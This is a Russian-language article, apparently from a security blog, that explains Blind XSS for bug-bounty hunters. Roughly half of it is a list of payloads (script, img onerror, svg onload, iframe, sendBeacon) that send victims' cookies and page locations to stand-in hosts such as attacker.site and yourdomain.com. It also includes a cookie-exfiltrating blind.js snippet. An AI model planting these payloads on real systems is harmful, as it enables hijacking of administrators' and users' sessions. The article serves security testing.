Почему Blind XSS остаётся грозным оружием багхантера.
Blind XSS — одна из самых коварных разновидностей XSS-уязвимостей. Если обычный XSS виден сразу, то слепой — нет. Скрипт исполняется в чужом браузере, о чём вы узнаете только по косвенным признакам. Именно поэтому Blind XSS — настоящая находка для багхантера: её сложнее обнаружить, но награда за такой баг часто выше.
В отличие от классического XSS, который срабатывает в интерфейсе, с которым работает сам атакующий, Blind XSS исполняется в другом месте — например, в админке, в панели модератора или в почтовой системе. Инъекция происходит где-то в пользовательском интерфейсе, но проявляется лишь тогда, когда другой человек откроет заражённые данные.
Пример: вы вводите в форму имени пользователя строку вида <script src="https://xss.example.com/poc.js"></script>
. На фронте ничего не происходит — имя просто отображается как текст. Но через пару часов администратор открывает страницу с этой записью в своей панели, и… Бах! Скрипт исполняется в его браузере, отправляя вам cookies, localStorage, IP или токены.
Вы не видите результат сразу. Именно поэтому нужно использовать механизмы "обратной связи" — чтобы понять, что ваша полезная нагрузка вообще куда-то попала и отработала.
Blind XSS особенно часто встречается в тех местах, где пользовательский ввод сохраняется и позже отображается в другом контексте. Вот популярные зоны риска:
Суть: вы вводите XSS-полезную нагрузку в одно из полей. Если данные потом где-то отображаются без фильтрации, скрипт выполнится. Чтобы понять, что он сработал, вам нужно, чтобы он сообщил об этом — например, отправил запрос на ваш сервер.
<script src="https://yourdomain.com/blind.js"></script>
Где blind.js
— ваш файл, отправляющий информацию о жертве на сервер:
new Image().src = "https://yourdomain.com/log?cookie=" + document.cookie + "&url=" + document.location;
<script src="https://yourdomain.com/blind.js?id=regform-username"></script>
<script src="https://xss.yourdomain.net/payload.js"></script>
<img src=x onerror="fetch('https://x.yourdomain.net?d='+document.cookie)">
<svg onload=location.href='https://x.yourdomain.net/?url='+location>
<iframe src="javascript:top.location='//x.yourdomain.net/?cookie='+document.cookie">
<script src="https://attacker.site/c.js"></script>
new Image().src = "https://attacker.site/log?cookie=" + document.cookie;
<img src=x onerror=fetch('https://x.attacker.site?d='+document.cookie)>
<svg onload="navigator.sendBeacon('https://xss.trap.net',document.cookie)">
POST /api/documents/upload
{
"filename": "report.pdf",
"description": "<iframe src='javascript:alert(document.domain)'>"
}
<script>fetch('//trap.com?p='+document.cookie)</script>
Тестируйте разные типы полей, в том числе скрытые, и используйте уникальные payload'ы. Логирование обратных вызовов поможет точно понять, какие поля уязвимы.
<svg>
, <math>
Blind XSS — это проверка внимательности, терпения и методичности. Уязвимость может долго оставаться незаметной, пока кто-то не активирует её случайным кликом. И если вы всё настроили правильно — именно вы получите уведомление. Это и делает Blind XSS особенно ценным багом.
Ищите, автоматизируйте, логируйте. Удачной охоты!
В Матрице безопасности выбор очевиден